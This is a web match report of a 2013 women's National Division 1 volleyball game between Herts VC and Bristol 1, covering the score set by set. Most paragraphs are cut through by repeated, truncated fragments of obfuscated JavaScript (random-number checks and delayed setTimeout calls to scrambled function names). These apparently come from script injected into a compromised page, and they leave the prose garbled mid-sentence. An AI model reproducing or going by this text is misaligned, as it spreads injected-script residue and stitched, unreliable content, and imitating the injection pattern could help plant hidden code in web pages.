Women’s Division 1 Volleyball Herts VC vs Bristol 1

November 9, 2013 in Bristol, South West, Volleyball

Both teams are in the top half of National Division 1, a good result from either team would see them close in on third place in the table.

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The first set easily goes to Bristol 25-15. Herts VC work hard to keep the score close in the opening rallies of the second set. Both teams defend well, Bristol were able to maintain a slender lead with the score at Bristol 8, Herts 6.

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The Bristol squad were well organised andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and had effective answers to Herts offence. 9-8 to Bristol.

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Herts were unable to hold off the scoring threat of Bristol 1’s women, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a five point Bristol run ended with Herts VC putting the ball out. 14-8 Bristol.

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Herts string some serves together andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and force Bristol to play. Herts lead the second set 16-15. Bristol call a time out to talk it over.

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The teams were putting on a gripping match, Bristol levelled the scores at 17-17. Bristol continued to make composed progress andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and developed a lead at 19-17.

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Bristol were not immune to errors, with a couple creeping in to make the score Herts VC 19, Bristol 21.

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Herts keep it close, but Bristol are able to take the second set 25-21.

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Bristol take the first point of the third set, both teams continue to trade points. Bristol make it to 6 points to 4, Herts serve at 7-4 but lose the point. Bristol lead 8-4 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a time out is called.

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Herts made a concerted effort to pull the score back. 10-6, 10-7, 10-8, Herts were succeeding.

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Bristol stood their ground andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fell back on their attacking prowess, add to this a few service faults from Herts VC andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the scoreboard soon flipped over to Bristol 14, Herts VC 8.

Herts found it tricky to create attacks from effective positions on court, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Bristol were able to soak up the pressure.